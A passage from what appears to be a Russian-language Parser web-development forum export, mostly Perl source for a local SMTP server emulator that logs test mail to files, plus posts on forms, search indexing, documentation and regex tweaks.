    my $sock = $self->{SOCK};\
 \
    while(<$sock>) {\
    chomp;\
    open(LOG, \">>$LOGF\");\
    print LOG $_ , \"\";\
    close(LOG);\
 \
 \
    if(/^\\.\\r*\\n*$/) {\
        $self->{MSG} = join ('', @msg);\
        return 0;\
    }\
 \
    # Совместимость с RFC 821.\
    s/^\\.\\./\\./;\
    push @msg, $_;\
    }\
 \
    return 0;\
}\
\
sub closelog {\
    open(LOG, \">>$LOGF\");\
    print LOG \"\\n\\n### Конец журнала ###\\n\\n\\n\\n\";\
    close(LOG);\
}\
\
sub _noway {\
    shift->_put(\"252 Nice try.\");\
}\
\
sub _noop {\
    shift->_put(\"250 OK, server will wait.\");\
}\
\
sub _help {\
    my $self = shift;\
    my $i = 0;\
    my $str = \"214-Commands\\r\\n\";\
    my $total = keys(%_cmds);\
 \
    foreach(sort(keys(%_cmds))) {\
    if(!($i++ % 5)) {\
        if(($total - $i) < 5) {\
        $str .= \"\\r\\n214 \";\
        } else {\
        $str .= \"\\r\\n214-\";\
        }\
    } else {\
        $str .= ' ';\
    }\
 \
    $str .= $_;\
    }\
 \
    $self->_put($str);\
}\
\
sub _quit {\
    my $self = shift;\
 \
    $self->_put(\"221 Closing communication\");\
    $self->{SOCK}->close;\
    return 0;\
}\
\
sub _hello {\
    shift->okay( \"Welcome\" );\
}\
\
1;[/code]Вот. Пользуйтесь на здоровье."
"28649","Т.е. в postprocess берём все <A href=\"\">'ы, затем match'ем достаём конец пути в линке и добавляем в конце UUID сессии типа &session=BA39BAB6340BE370 ? \
\
Вроде как-то тормозно получается, что тут поделать, если такое у меня мышление..."
"28651","Довольно удобный механизм:\
\
http://python.ru/2002-06/69.html"
"28655","Класс hashfile > Запись\
\
[code] \
$hashfile.ключ[строка]\
\
Сохраняет на диск ассоциацию между ключом и строкой.\
\
$hashfile.ключ[\
   $.value[строка]\
   $.expires(число дней)\
]  \
$cookie:ключ[\
   $.value[строка] \
   $.expires[дата]\
]  \
[/code]\
\
А куки при чем? Баг или так и надо?"
"28656","Фишка в том, что Parser, вчера проставленный на один из моих серверов, literally, прекратил мои мучения и обозначил конец двухнедельного творческого кризиса. Ну не смог я забацать систему на перле, мозги отказались думать. Так что, PAF, _спасибо_.\
p.s. Читая форум, убедился, что половина PAFовских постов есть отсылка к докам, форуму и FAQу. Я, конечно, понимаю, что можно ответить на вопрос один раз. Можно два. На пятый раз хочется стукнуть чайника клавиатурой. В результате форум производит слегка недружественное впечатление, что, возможно, останавливает некоторых юзеров от спрашивания важных им вопросов. Никто ведь не хочет быть стукнутым или обиженным. Может, что-то в документации не хватает, раз юзеры спрашивают и спрашивают одно и то же? Может, в консерватории подправить?"
"28657","Эта штучка - маленький кусочек \"нашего ответа Денверу\" ;-)\
Один setup.exe будет содержать apache, mysql, парсер и готовый сайт-пример на парсере..."
"28658","Спасибо, Sanja, за эмулятор. \
Есть маленькая просьба-предложение: нельзя ли сделать вывод в файл в виде .EML или .MSG файла, пригодного для непосредственного импорта в почтовую программу (типа TheBat!)? \
При отладке было бы оч-ч-ень удобно..."
"28659","У меня есть информационный сайт сделанный на простом html (около 200 стр). Статистика показывает, что более 60% посетителей приходят с поисковых систем. Всвязи с увеличением объема сайта (становится больше текстов, статей) задумываюсь о переходе на parser.\
\
Всвязи с этим возникает вопрос:\
Как обстоит дело с индексацией поисковыми системами сайтов сделанных на parser? \
\
Может у кого-либо есть информационные сайты сделанные на parser, поделитесь впечатлениями."
"28660","Сделаю."
"28662","Хочу сделать feedback, всё просто, но не получается. В auto.p делаю форму, но если прописать в нём же ^send:mail[], то происходит сразуже отсылка сообщения, а нужно при нажатии input type=\"submit\".\
\
Заранне спасибо!\
\
Документацию читал, не надо меня туда слать, не получается и всё :'("
"28663","Какая разница, на чём сделан сайт? Поисковикам это без разницы... Главно чтоб работал :-)\
Единственно, некоторые не поддерживают передачу параметров в URL(метод GET)."
"28664","^if(def $form:send) { послать и thanks сказать }{ форму нарисовать }"
"28665","IMHO, но возможностей работы с таблицами существенно меньше."
"28667","Вы не хотите, чтобы этот эмулятор попал в Денвер?"
"28668","-"
"28669","[code]\
$img[^file:list[/upload/small/;${advert.picture}\\.(jpe?g|jpe|gif|png)^$]]\
[/code]\
Хотя я больше предпочитаю базу."
"28670","А лучший способ вылизать любой код - это положить его сюда на обсуждение. Сначала отпинают, потом помогут сделать конфетку."
"28672","Вот, держите. С поправленными багами и сохранением полученного от клиента в EML-файл Outlook.\
\
[b]Файл emulator.pl[/b][code]############################################################################\
#\
# Эмулятор работы SMTP-сервера - ничего не отправляет, но аккуратно\
# журналирует все переговоры с клиентами, сохраняя копию в EML-файле Outlook.\
#\
############################################################################\
# \
# Copyright (c) 2004 Alexander Bougakov, http://www.bougakov.com/go/cityblog/\
# Вы вольны пользоваться этим кодом на условиях Creative Commons License:\
# http://creativecommons.org/licenses/by-nc-sa/1.0/\
#\
# Основано на коде модулей Net::SMTP::Server, Net::SMTP::Server::Client и\
# Net::SMTP::Server::Client2 авторства Habeeb J. Dihu и David Nicole,\
# соответственно.\
#\
############################################################################\
\
unshift @INC, './'; # указывает Perl искать модули \
                    # в текущей папке, а не только в /lib\
use Carp;\
use smtpserver;\
use smtpclient;\
\
# Сообщения больше этого размера (в байтах) не будут приниматься эмулятором\
# (клиент получит ошибку 552 по RfC 821):\
my $limit   = 9900000;\
\
# Куда подцепляется эмулятор (хост, порт):\
my $host    = \"localhost\";\
my $port    = 25;\
\
# Логфайл:\
my $log     = \"SMTP_log.txt\";\
\
# Также пишется логфайл с именем $log.eml - в него сохраняется последнее\
# из отправленных писем. Запуск этого файла откроет его в Outlook Express\
# - это даст вам проверить, такой ли результат вы ожидаете (что гораздо \
# веселее отправки его самому себе через \"настоящий\" почтовый сервер с\
# дальнейшей выкачкой его по POP3, не правда ли?) \
\
# Логфайл пишется по принципу \"открыть файл, записать строку, закрыть файл,\
# повторить для каждой следующей строки\" - работает медленнее, чем могло бы\
# быть, зато в случае падения сервера или клиента будет видно, на каком месте\
# проблема случилась.\
\
# Старый логфайл, если есть на диске, затирается. Если в одном сеансе работы\
# эмулятора отправляется нескольких писем, все сессии фиксируются в логе \
# (а не только самая последняя)\
\
## Ну поехали: #############################################################\
\
# Welcome-screen:\
print \"___________________________________________________________________\\n\\n\";\
print \" SMTP server emulator is now working on \\\"\" . $host .\":\" . $port .\"\\\"\\n\\n\";\
print \" Conversations with clients will be logged to \\\"\" . $log .\"\\\" file\\n\";\
print \" (overwrites older one, if present). Outlook-readable copy will be\\n\"; \
print \" saved to \\\"\" . $log .\".eml\\\" (If several messages will be sent in\\n\";\
print \" the batch, only the last one will be there!) Server's responses\\n\";\
print \" will be echoed to this window.\\n\\n\";\
print \" Press Ctrl+C to close this window and stop the emulator.\\n\";\
print \"___________________________________________________________________\\n\\n\";\
\
# Удаляем прежний логфайл:\
unlink $log;\
unlink $log . \".eml\";\
\
# Цепляемся к указанным локальным хосту и порту:\
my $server = new smtpserver($host => $port) || croak(\"Unable to launch or bind server: $!\\n\");\
while($conn = $server->accept()) {\
    fork and last;\
    $conn->close;\
};\
\
# Ждём подключений:\
my $count = '';\
my $client = new smtpclient($conn, $log) || croak(\"Unable to start interface: $!\\n\");\
$client->greet;\
while($client->get_message){\
    if (length($client->{MSG}) > $limit){\
        $client->too_long;\
    } else {\
        $count++;\
        $client->okay(\"Message accepted\");\
        $client->closelog;\
    }\
}[/code]\
[b]Файл smtpserver.pm[/b][code]package smtpserver;\
\
use strict;\
use vars qw(@ISA @EXPORT);\
\
require Exporter;\
require AutoLoader;\
\
use Carp;\
use IO::Socket;\
use Sys::Hostname;\
\
@ISA	= qw(Exporter AutoLoader);\
@EXPORT	= qw();\
\
sub new {\
    my $this	  = shift;\
    my $class	  = ref($this) || $this;\
    my $self	  = {};\
    $self->{HOST} = shift;\
    $self->{PORT} = shift;\
    bless($self, $class);\
    $self->{HOST} = hostname	unless defined($self->{HOST});\
    $self->{PORT} = 25			unless defined($self->{PORT});\
    $self->{SOCK} = IO::Socket::INET->new(\
    	Proto	  => 'tcp',\
    	LocalAddr => $self->{HOST},\
    	LocalPort => $self->{PORT},\
    	Listen    => SOMAXCONN,\
    	Reuse     => 1\
    );\
    return defined($self->{SOCK}) ? $self : undef;\
}\
\
sub accept {\
    my $self = shift;\
    my $client;\
    if($client = $self->{SOCK}->accept()) {\
	    $self->{SOCK}->autoflush(1);\
	    return $client;\
    }\
    return undef;\
}\
\
sub DESTROY {\
    shift->{SOCK}->close;\
}\
\
1;[/code]\
[b]Файл smtpclient.pm[/b][code]package smtpclient;\
\
use strict;\
use vars qw($LOGF);\
use Carp;\
use IO::Socket;\
\
# Значение по умолчанию:\
my $LOGF = \"SMTP_log.txt\";\
\
my %_cmds = (\
    DATA => \\&_data,\
    EXPN => \\&_noway,\
    HELO => \\&_hello,\
    HELP => \\&_help,\
    MAIL => \\&_mail,\
    NOOP => \\&_noop,\
    QUIT => \\&_quit,\
    RCPT => \\&_receipt,\
    RSET => \\&_reset,\
    VRFY => \\&_noway\
);\
\
sub _reset0 {\
    my $self = shift;\
    $self->{FROM} = undef;\
    $self->{TO} = [];\
    $self->{MSG} = undef;\
    $self->{faults} = 0;\
}\
 \
sub _reset {\
    my $self = shift;\
    $self->_reset0;\
    $self->_put(\"250 Mail transaction aborted\");\
}\
\
sub new {\
    my($this, $sock, $log) = @_;\
    my $class = ref($this) || $this;\
    my $self = {};\
    $LOGF = $log;\
    bless($self, $class);\
    $self->_reset0;\
    $self->{SOCK} = $sock;\
    croak(\"No client connection specified.\") unless defined($self->{SOCK});\
    open(LOG, \">>$LOGF\");\
    print LOG \"### Эмулятор SMTP-сервера ### \" . scalar(localtime) . \" ###\\n\\n\";\
    close(LOG);\
    unlink $log . \".eml\";\
    return $self;\
}\
\
sub greet {\
    $_[0]->_put(\"220 SMTP Emulator ready.\");\
}\
\
sub basta{\
    my $self = shift;\
    $self -> _put(\"421 closing transmission channel\");\
    $self->{SOCK}->close;\
    1;\
}\
\
sub get_message {\
    my $self = shift;\
    my($cmd, @args);\
    my $sock = $self->{SOCK};\
    $self->_reset0;\
    while(<$sock>) {\
        chomp;\
        open(LOG, \">>$LOGF\");\
        print LOG $_ , \"\";\
        close(LOG);\
        $$self{faults} > 15 and $self->basta and last;\
        s/^\\s+//;\
        s/\\s+$//;\
        unless(length $_){\
            ++$$self{faults};\
            $self->greet;\
            next;\
        };\
        ($cmd, @args) = split(/\\s+/);\
        $cmd =~ tr/a-z/A-Z/;\
        if(!defined($_cmds{$cmd})) {\
            sleep ++$$self{faults};\
            $self->_put(\"500 Server doesn't know how to $cmd\");\
            next;\
        };\
        &{$_cmds{$cmd}}($self, \\@args) or\
            return(defined($self->{MSG}));\
        }\
        return undef;\
}\
\
sub find_addresses {\
    return map { /([^<|;]+\\@[^>|;&,\\s]+)/ ? $1 : () } @_;\
};\
\
sub okay {\
    my $self = shift;\
    $self -> _put(\"250 OK @_\");\
}\
\
sub fail {\
    my $self = shift;\
    $self -> _put(\"554 @_\");\
}\
\
sub too_long {\
    $_[0] -> _put(\"552 Requested mail action aborted: exceeded storage allocation\");\
};\
\
sub _mail {\
    my $self = $_[0];\
    my @who = find_addresses(@{$_[1]});\
    my $who = shift @who;\
    if ($who){\
        $self->{FROM} = $who;\
        return $self->okay(\"Envelope sender set to <$who> \")\
    }else{\
        $self->{faults}++;\
        return $self-> _put(\"501 could not find name\\@postoffice in <@{$_[1]}>\")\
    };\
}\
\
sub rcpt_syntax{\
    $_[0] -> _put(\"553 no user\\@host addresses found in <@{$_[1]}>\");\
}\
\
sub _receipt {\
    my $self = $_[0];\
    my @recipients = find_addresses(@{$_[1]});\
    @recipients or return $self->rcpt_syntax($_[1]);\
    push @{ $self->{TO} }, @recipients;\
    $self->okay(\"sending to @{$self->{TO}}\");\
}\
\
sub _put {\
    print {shift->{SOCK}} @_, \"\\r\\n\";\
    print \"### \", @_, \"\\n\";\
    open(LOG, \">>$LOGF\");\
    print LOG \"\", @_ , \"\\n\";\
    close(LOG);\
}\
\
sub _data {\
    my $self = shift;\
    my @msg;\
    if(!$self->{FROM}) {\
        $self-> _put(\"503 start with 'mail from: ...'\");\
        $self->{faults}++;\
        return 1;\
    }\
    if(!@{$self->{TO}}) {\
        $self->_put(\"503 specify recipients with 'RCPT TO: ...'\");\
        $self->{faults}++;\
        return 1;\
    }\
    $self->_put(\"354 Start mail input, end with CRLF-dot-CRLF\");\
    my $sock    = $self->{SOCK};\
    while(<$sock>) {\
        chomp;\
        s/\\x0D/\\x0A/sg;\
        s/\\x0D\\x0D/\\x0D/sg;\
        if(/^\\.\\r*\\n*$/) {\
            $self->{MSG} = join ('', @msg);\
            return 0;\
        }\
        # Совместимость с RFC 821.\
        s/^\\.\\./\\./;\
        push @msg, $_;\
        open(LOG, \">>$LOGF\");\
        print LOG $_;\
        close(LOG);\
        open(EML, \">>$LOGF.eml\");\
        print EML $_;\
        close(EML);\
    }\
    return 0;\
}\
\
sub closelog {\
    open(LOG, \">>$LOGF\");\
    print LOG \"\\n\\n### Конец журнала ###\\n\\n\\n\\n\";\
    close(LOG);\
}\
\
sub _noway {\
    shift->_put(\"252 Nice try.\");\
}\
\
sub _noop {\
    shift->_put(\"250 OK, server will wait.\");\
}\
\
sub _help {\
    my $self = shift;\
    my $i = 0;\
    my $str = \"214-Commands\\r\\n\";\
    my $total = keys(%_cmds);\
    foreach(sort(keys(%_cmds))) {\
        if(!($i++ % 5)) {\
            if(($total - $i) < 5) {\
                $str .= \"\\r\\n214 \";\
            } else {\
                $str .= \"\\r\\n214-\";\
            }\
        } else {\
            $str .= ' ';\
        }\
    $str .= $_;\
    }\
    $self->_put($str);\
}\
\
sub _quit {\
    my $self = shift;\
    $self->_put(\"221 Closing communication\");\
    $self->{SOCK}->close;\
    return 0;\
}\
\
sub _hello {\
    shift->okay( \"Welcome\" );\
}\
\
1;[/code]"
"28673","вы новости не читаете?"
"28674","то, что попадает на экран. если вы знаете, как написать в документации лучше, приведите свой отредактированный вариант.\
\
^use внутри ^cache пусть идёт вместе с тем кодом, который использует модули, подключенные ^use.\
если это неочевидно, и вы знаете, как написать в документации лучше, …."
"28675","имелось в виду. расходы копеечные, проверок 0."
"28677","вдруг стоит в планах?"
"28678","уже исправлена, скоро выложу обновление."
"28679","автор идеи Parser и реализации 2.0 версии: Константин Моршнев."
"28680","не есть зло. если пользователь подумает, и решит проблему \"А\" сам, проблема \"Б\" у него, вероятно, решится быстрее.\
\
чего-то не хватает? возможно.\
но вы противоречите сами себе: с одной стороны, всем ясно, что ответы на вопросы в документации есть. с другой стороны, предлагаете к 160страничному документу что-то добавить.\
\
и уж совсем противоречивы в отношении FAQ. его банально не читают. добавлять в него что-то, чтобы прекратили задавать вопросы, уже отвеченные в нём, бессмысленно.\
\
да, конечно, есть ситуации, когда ни FAQ ни доки недостаточно.\
для помощи по этим вопросам, в частности, и существует форум."
"28681","поисковики могут показывать дату документа.\
в динамические документах вот этот заголовок обычно не проставляется.\
если вам важна дата, не забудьте проставить."
"28682","[b]Файл emulator.pl[/b] [code]############################################################################\
#\
# SMTP-server Emulator - doesn't send anything, just talks to clients\
# and saves the result to log plus Outlook-readable EML-file.\
# Now you don't need to run 'real' SMTP server to test your scripts ;-)\
#\
############################################################################\
# \
# Copyright (c) 2004 Alexander Bougakov, http://www.bougakov.com/go/cityblog/\
# You are free to use this code, until you obey the  Creative Commons License:\
# http://creativecommons.org/licenses/by-nc-sa/1.0/\
#\
# Based on Perl modules Net::SMTP::Server, Net::SMTP::Server::Client and\
# Net::SMTP::Server::Client2 by Habeeb J. Dihu and David Nicole,\
# respectively.\
#\
############################################################################\
\
unshift @INC, './'; # tells Perl to look for the modules in the\
                    # current folder, not only in /lib/\
use Carp;\
use smtpserver;\
use smtpclient;\
\
# Messages larger than this size (in bytes) won't be accepted:\
# (client will get RfC 821 error No. 552):\
my $limit   = 9900000;\
\
# Server will be working on following host and port:\
my $host    = \"localhost\";\
my $port    = 25;\
\
# Log file to write all conversations between server and client:\
# (Outlook-readable copy will be saved to the same file, but with\
# EML extension. When the emulator starts, it deletes old logfiles,\
# if present.)\
my $log     = \"SMTP_log.txt\";\
\
## Don't edit anything below: ##############################################\
\
# Welcome-screen:\
print \"___________________________________________________________________\\n\\n\";\
print \" SMTP server emulator is now working on \\\"\" . $host .\":\" . $port .\"\\\"\\n\\n\";\
print \" Conversations with clients will be logged to \\\"\" . $log .\"\\\" file\\n\";\
print \" (overwrites older one, if present). Outlook-readable copy will be\\n\"; \
print \" saved to \\\"\" . $log .\".eml\\\" (If several messages will be sent in\\n\";\
print \" the batch, only the last one will be there!) Server's responses\\n\";\
print \" will be echoed to this window.\\n\\n\";\
print \" Press Ctrl+C to close this window and stop the emulator.\\n\";\
print \"___________________________________________________________________\\n\\n\";\
\
# Deletes old logs:\
unlink $log;\
unlink $log . \".eml\";\
\
# Binds SMTP server to host:port:\
my $server = new smtpserver($host => $port) || croak(\"Unable to launch or bind server: $!\\n\");\
while($conn = $server->accept()) {\
    fork and last;\
    $conn->close;\
};\
\
# Waits for connections:\
my $count = '';\
my $client = new smtpclient($conn, $log) || croak(\"Unable to start interface: $!\\n\");\
$client->greet;\
while($client->get_message){\
    if (length($client->{MSG}) > $limit){\
        $client->too_long;\
    } else {\
        $count++;\
        $client->okay(\"Message accepted\");\
        $client->closelog;\
    }\
}[/code]\
[b]Файл smtpserver.pm[/b] [code]package smtpserver;\
\
use strict;\
use vars qw(@ISA @EXPORT);\
\
require Exporter;\
require AutoLoader;\
\
use Carp;\
use IO::Socket;\
use Sys::Hostname;\
\
@ISA	= qw(Exporter AutoLoader);\
@EXPORT	= qw();\
\
sub new {\
    my $this	  = shift;\
    my $class	  = ref($this) || $this;\
    my $self	  = {};\
    $self->{HOST} = shift;\
    $self->{PORT} = shift;\
    bless($self, $class);\
    $self->{HOST} = hostname	unless defined($self->{HOST});\
    $self->{PORT} = 25			unless defined($self->{PORT});\
    $self->{SOCK} = IO::Socket::INET->new(\
    	Proto	  => 'tcp',\
    	LocalAddr => $self->{HOST},\
    	LocalPort => $self->{PORT},\
    	Listen    => SOMAXCONN,\
    	Reuse     => 1\
    );\
    return defined($self->{SOCK}) ? $self : undef;\
}\
\
sub accept {\
    my $self = shift;\
    my $client;\
    if($client = $self->{SOCK}->accept()) {\
	    $self->{SOCK}->autoflush(1);\
	    return $client;\
    }\
    return undef;\
}\
\
sub DESTROY {\
    shift->{SOCK}->close;\
}\
\
1;[/code]\
[b]Файл smtpclient.pm[/b] [code]package smtpclient;\
\
use strict;\
use vars qw($LOGF);\
use Carp;\
use IO::Socket;\
\
# Default value:\
my $LOGF = \"SMTP_log.txt\";\
\
my %_cmds = (\
    DATA => \\&_data,\
    EXPN => \\&_noway,\
    HELO => \\&_hello,\
    HELP => \\&_help,\
    MAIL => \\&_mail,\
    NOOP => \\&_noop,\
    QUIT => \\&_quit,\
    RCPT => \\&_receipt,\
    RSET => \\&_reset,\
    VRFY => \\&_noway\
);\
\
sub _reset0 {\
    my $self = shift;\
    $self->{FROM} = undef;\
    $self->{TO} = [];\
    $self->{MSG} = undef;\
    $self->{faults} = 0;\
}\
 \
sub _reset {\
    my $self = shift;\
    $self->_reset0;\
    $self->_put(\"250 Mail transaction aborted\");\
}\
\
sub new {\
    my($this, $sock, $log) = @_;\
    my $class = ref($this) || $this;\
    my $self = {};\
    $LOGF = $log;\
    bless($self, $class);\
    $self->_reset0;\
    $self->{SOCK} = $sock;\
    croak(\"No client connection specified.\") unless defined($self->{SOCK});\
    open(LOG, \">>$LOGF\");\
    print LOG \"### SMTP Emulator' log ### \" . scalar(localtime) . \" ###\\n\\n\";\
    close(LOG);\
    unlink $log . \".eml\";\
    return $self;\
}\
\
sub greet {\
    $_[0]->_put(\"220 SMTP Emulator ready.\");\
}\
\
sub basta{\
    my $self = shift;\
    $self -> _put(\"421 closing transmission channel\");\
    $self->{SOCK}->close;\
    1;\
}\
\
sub get_message {\
    my $self = shift;\
    my($cmd, @args);\
    my $sock = $self->{SOCK};\
    $self->_reset0;\
    while(<$sock>) {\
        chomp;\
        open(LOG, \">>$LOGF\");\
        print LOG $_ , \"\";\
        close(LOG);\
        $$self{faults} > 15 and $self->basta and last;\
        s/^\\s+//;\
        s/\\s+$//;\
        unless(length $_){\
            ++$$self{faults};\
            $self->greet;\
            next;\
        };\
        ($cmd, @args) = split(/\\s+/);\
        $cmd =~ tr/a-z/A-Z/;\
        if(!defined($_cmds{$cmd})) {\
            sleep ++$$self{faults};\
            $self->_put(\"500 Server doesn't know how to $cmd\");\
            next;\
        };\
        &{$_cmds{$cmd}}($self, \\@args) or\
            return(defined($self->{MSG}));\
        }\
        return undef;\
}\
\
sub find_addresses {\
    return map { /([^<|;]+\\@[^>|;&,\\s]+)/ ? $1 : () } @_;\
};\
\
sub okay {\
    my $self = shift;\
    $self -> _put(\"250 OK @_\");\
}\
\
sub fail {\
    my $self = shift;\
    $self -> _put(\"554 @_\");\
}\
\
sub too_long {\
    $_[0] -> _put(\"552 Requested mail action aborted: exceeded storage allocation\");\
};\
\
sub _mail {\
    my $self = $_[0];\
    my @who = find_addresses(@{$_[1]});\
    my $who = shift @who;\
    if ($who){\
        $self->{FROM} = $who;\
        return $self->okay(\"Envelope sender set to <$who> \")\
    }else{\
        $self->{faults}++;\
        return $self-> _put(\"501 could not find name\\@postoffice in <@{$_[1]}>\")\
    };\
}\
\
sub rcpt_syntax{\
    $_[0] -> _put(\"553 no user\\@host addresses found in <@{$_[1]}>\");\
}\
\
sub _receipt {\
    my $self = $_[0];\
    my @recipients = find_addresses(@{$_[1]});\
    @recipients or return $self->rcpt_syntax($_[1]);\
    push @{ $self->{TO} }, @recipients;\
    $self->okay(\"sending to @{$self->{TO}}\");\
}\
\
sub _put {\
    print {shift->{SOCK}} @_, \"\\r\\n\";\
    print \"### \", @_, \"\\n\";\
    open(LOG, \">>$LOGF\");\
    print LOG \"\", @_ , \"\\n\";\
    close(LOG);\
}\
\
sub _data {\
    my $self = shift;\
    my @msg;\
    if(!$self->{FROM}) {\
        $self-> _put(\"503 start with 'MAIL FROM: ...'\");\
        $self->{faults}++;\
        return 1;\
    }\
    if(!@{$self->{TO}}) {\
        $self->_put(\"503 specify recipients with 'RCPT TO: ...'\");\
        $self->{faults}++;\
        return 1;\
    }\
    $self->_put(\"354 Start mail input, end with CRLF-dot-CRLF\");\
    my $sock    = $self->{SOCK};\
    while(<$sock>) {\
        chomp;\
        s/\\x0D/\\x0A/sg;\
        s/\\x0D\\x0D/\\x0D/sg;\
        if(/^\\.\\r*\\n*$/) {\
            $self->{MSG} = join ('', @msg);\
            return 0;\
        }\
        # RFC 821 compatibility.\
        s/^\\.\\./\\./;\
        push @msg, $_;\
        open(LOG, \">>$LOGF\");\
        print LOG $_;\
        close(LOG);\
        open(EML, \">>$LOGF.eml\");\
        print EML $_;\
        close(EML);\
    }\
    return 0;\
}\
\
sub closelog {\
    open(LOG, \">>$LOGF\");\
    print LOG \"\\n\\n### End of log entry ###\\n\\n\\n\\n\";\
    close(LOG);\
}\
\
sub _noway {\
    shift->_put(\"252 Nice try.\");\
}\
\
sub _noop {\
    shift->_put(\"250 OK, server will wait.\");\
}\
\
sub _help {\
    my $self = shift;\
    my $i = 0;\
    my $str = \"214-Commands\\r\\n\";\
    my $total = keys(%_cmds);\
    foreach(sort(keys(%_cmds))) {\
        if(!($i++ % 5)) {\
            if(($total - $i) < 5) {\
                $str .= \"\\r\\n214 \";\
            } else {\
                $str .= \"\\r\\n214-\";\
            }\
        } else {\
            $str .= ' ';\
        }\
    $str .= $_;\
    }\
    $self->_put($str);\
}\
\
sub _quit {\
    my $self = shift;\
    $self->_put(\"221 Closing communication\");\
    $self->{SOCK}->close;\
    return 0;\
}\
\
sub _hello {\
    shift->okay( \"Welcome\" );\
}\
\
1;[/code]"
"28683","Я себе не противоречу.\
\
>> предлагаете к 160страничному документу что-то добавить.\
Не бейте меня тапком, потому как я ща скажу кощунство.\
Документацию надо _переработать_. Есть такое слово - юзабилити. Проблема в том, что это не есть абсолютная истина. Каждый расценивает _нечто_ как юзабельное с точки зрения его _конкретных_ задач.\
Теперь будет перевод на общедоступный язык применительно к Парсеру и его документации. Юзеры бывают всякие. Кому-то надо забацать домашнюю страничку, чтоб было круто, типа, background меняется чрез каждые две секунды, шрифты сами по себе пляшут и все такое. Кому-то (мне, например), надо сделать фишку. Бывает еще категория населения, которым надо просто прикрутить новую приблуду к существующей технологической связке \"Апач + ПХП + Перл + МайСиквел + ...\", чтоб потенциальный юзер сервиса понял, что тут все круто, такой провайдер услуг достоин, чтобы принести ему денег. Напрашивается классификация - чайник полный, чайник деятельный, чайник корпоративный.\
А теперь вопрос - кто из них полностью прочтет документацию?\
А теперь _главный_ вопрос - что именно хотят такие товарищи читать?\
Ответ на 1й вопрос - я. Привык, потому что. Больше никто.\
Ответ на 2й вопрос - библиотека _готовых_ решений. Простых, тупых, прямолинейных. Документированных. Большая такая библиотека. Даже очень большая. \
Фишка в том, что, начиная изучать новое нечто, очень сложно сформулировать вопрос. Результат - посты типа \"Помогите!!!!!!!!!!!!!!!!\". Это жизненный процесс. Не у всех хватает усидчивости, чтобы читать документацию от корки и до того места, где станет понятно.\
Все равно непонятно пишу. Если проще, то FAQ должен обновляться после каждого глупого вопроса юзера. Если юзер упорно задает вопрос, описанный в FAQе, то следует ответить на него так, чтобы он понял, и обновить запись в FAQ.\
Народ читает FAQ и документацию. По крайней мере, старается читать. Бросает же, когда объем информации превышает критический лимит для данного индивидуума (в среднем, нескольких страниц оказывается достаточно.\
Я, например, очень люблю эстетствовать. Однако, User Manual, вышедший из под моей редакии, никогда не содержит ничего заумного (если, конечно, вообще выходит в свет).\
Конкретный пример. Моя последняя работа в России была связана с крупным министерством. Так вот, начало эксплуатации показало, что процент звонков и писем в службу поддержки был менее одного процента от общего количества задействованных работников (которых было несколько тысяч). Потому что временные затраты на написание руководства превысили общее время кодирования раза эдак в два.\
\
Резюме. Проще, нагляднее и чтоб много примеров. \
\
Sorry, guys. May be it will hurt you a bit. But that's truth."
"28684","(c) Лебедев. ответ на некое моё дельное предложение."
"28685","parser3_1_2_20040329_2.chm::/opprocess.htm\
\
Также можно указать ряд опций (хеш):\
Ї $.main[новое имя для метода main, описанного в коде строки[b]}[/b]  \
 \
Ї $.file[имя файла, из которого взята данная строка[b]}[/b]"
"28686","Мне очень понравился код: строгий, красивый, аккуратный. Вот бы все так писали...\
\
Есть несколько моментов, которые не очень хороши для Денвера, но я надеюсь все-таки с этим как-нибудь разобраться.\
1. В базовом пакете Денвера-3 используется miniperl вместо ActivePerl-а - это урезанный вариант perl без модулей, предназначенный только для того, чтобы работать в качестве интерпретатора инсталляторов. Там большая беда по части fork-а. Это все направлено на то, чтобы уменьшить размер дистрибутива.\
2. Придется засунуть в дистрибутив все модули, которые нужны данному скрипту (включая IO::Socket), а также модули, которые используют те модули, и т.д. Это увеличит дистрибутив.\
\
Я думаю, обе эти проблемы удастся обойти. Поддержку fork() можно включить (правда, она все равно будет кривая и добавит пару десятков килобайт в дистрибутив), а IO::Socket заменить обычными вызовами socket, bind, accept и т.д. (а еще лучше - написать мини-IO::Socket, в котором будет все сильно урезано, но для данного скрипта хватит). Идеально было бы, если скрипт запускался ВООБЩЕ без всяких модулей, чтобы ему был нужен только perl.exe, и все.\
\
Александр, потенциально Вы разрешаете использовать данный скрипт в Денвере-3 (после моих доработок, которые я описал выше - конечно, если Вы не захотите сами их сделать :-)? Естественно, с сохранением копирайтов и авторства.\
\
У меня есть еще одна идея эмлятора SMTP, не касающаяся данного скрипта. Можно ведь вообще не реализовывать диалог, а просто переадресовать подключение к нужному хосту в Интернете. То есть, при получении RCPT TO распарсить email, выдрать хост, получить его MX-записи и попытаться к ним по очереди приконнектиться, а как только это удастся, просто перенаправлять данные из локального сокета в удаленный. Дешево и сердито.\
\
Тут еще дело в том, что на форуме раз 10 уже спрашивали, как ОТКЛЮЧИТЬ sendmail-заглушку в PHP. Народ хочет письма слать наружу, а не скрипты отлаживать. (-:"
"28687","Не проверял, но мне казалось, что константный список работает в PCRE быстрее.\
И тогда править надо с учетом частоты, т.е. (jpg|gif|...остальной редкий фуфел...)"
"28688","David Nicole, который написал SMTP::Client2, моя задача была его код адаптировать, не изуродовав ;-)\
\
По поводу расширения дистрибутива - я тут бросал клич написать standalone эмулятор. Вроде бы пара людей согласилась и усё( Пара не хватило. Я не умею писать ни на чём, кроме Perl, VB и немножко MASM - иначе бы сам сделал. Один exe-файл с той же функциональностью будет весить куда меньше этого вороха модулей..."
"28689","1. дополнен инсталяционный файл для Homesite 5+, thanks to Федор Борецкий.\
2. В комплекте теперь идут исходники (as-is, поправить небыло времени).\
3. Исправлены некоторые мелкие баги, подсветка теперь case sensitive, конструкции типа «@Class» или «^main:» подсвечиваться как служебные не будут."
"28692","Можно bat-файл на перле сделать и рядом положить perl.exe в крайнем случае (а можно воспользоваться врапперами из Денвера для запуска процессов на трее — сам их писал на асме). И потом, есть TinyPerl, он умеет exe-шники из скриптов делать.\
\
А Вы, кстати, на вопрос так и не ответили."
"28694","Замечательно все индексируется. Просто следуй стандартам + внимательно читай раздел для вебмастеров на поисковиках."
"28696","а вот в количестве сравниваемых символов будет.\
В вашем случае сравнение будет происходить с 4 символами\
[code]\
(jpg|jpeg|jpe|gif|png)\
     ^^^^[/code]\
в моем с одним\
[code]\
(jpe?g|jpe|gif|png)\
   ^[/code]\
И уж если переставлять местами расширения по популярности, то я бы расставил так:\
(jpe?g|gif|png|jpe)\
За все время сколько общаюсь с интернетом, формат jpe встречал раза 2 или 3. Поэтому в своих скриптах я им пренебрегаю."
